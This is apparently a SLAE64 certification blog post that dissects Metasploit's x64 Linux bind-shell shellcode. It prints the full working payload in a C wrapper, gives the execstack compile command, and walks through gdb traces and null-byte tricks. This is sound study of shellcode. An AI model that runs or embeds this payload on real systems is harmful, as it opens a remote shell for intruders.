root@kali:~/# msfpayload linux/x64/shell_bind_tcp RPORT=4444 C
* linux/x64/shell_bind_tcp - 86 bytes
* linux/x64/shell_bind_tcp - 86 bytes
I threw this into a C file.
unsigned char sc[] = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52" "\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31"> "\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f" "\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75" "\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" "\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"; main(void) { (*(void(*)()) sc)(); }
I compiled it: gcc -m64 -z execstack msfbind.c
I then started up: gdb ./a.out
0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>: callq *%rdx
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>: callq *%rdx
I discovered they were able to shrink their register fixing and first syscall into 12 bytes, whereas mine was 13. Here is a high level look at what they did to accomplish this:
push 0x29 pop rax cdq push 0x2 pop rdi push 0x1 pop rsi syscall
You can compare that with my version, which uses the xor esi, esi and mul esi to clear 3 registers. Here the same is done with cdq to clear out the pollution, and then qword pushes popped directly into the registers. In a future release of my own shellcode I would make this change.
Next though, we come across one of the first instances of a null-byte. It is part of the struct sock_addr that is used, where the port and address family is specified.
0x000000000060088f in sc ()
7: /x $rdi = 0x7
6: /x $rsi = 0x1
5: /x $rdx = 0x0
4: /x $rcx = 0xffffffffffffffff
3: /x $rbx = 0x0
2: /x $rax = 0x2
1: x/i $rip
=> 0x60088f <sc+15>: movl $0x5c110002,(%rsp)
7: /x $rdi = 0x7
6: /x $rsi = 0x1
5: /x $rdx = 0x0
4: /x $rcx = 0xffffffffffffffff
3: /x $rbx = 0x0
2: /x $rax = 0x2
1: x/i $rip
=> 0x60088f <sc+15>: movl $0x5c110002,(%rsp)
When I was writing my own shellcode, I had to make a sacrifice. I probably could have shrunk even more bytes if I didn't make the PORT configurable. However, doing so may be the reason I went about things differently, and 0'd out that area of the struct by pushing a 0 register twice. This is definitely less bytes, but of course has the null.
The next parts of this shellcode are all pretty standard. I didn't see too much more I could do in terms of shrinkage, and my own execution was very similar to this payload's.
I did want to point out another area though where the null-byte is used, as the terminator for the "/bin/sh" string. I got around this by first pushing a 0 register on the stack, and then naming the string "//bin/sh" to fill in the extra byte.
(gdb) x/i $rip
=> 0x6008c1 <sc+65>: movabs $0x68732f6e69622f,%rbx
(gdb) x/3x $rip
0x6008c1 <sc+65>: 0x622fbb48 0x732f6e69 0x48530068
(gdb) .
=> 0x6008c1 <sc+65>: movabs $0x68732f6e69622f,%rbx
(gdb) x/3x $rip
0x6008c1 <sc+65>: 0x622fbb48 0x732f6e69 0x48530068
(gdb) .
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE64 - 1360
No comments :
Post a Comment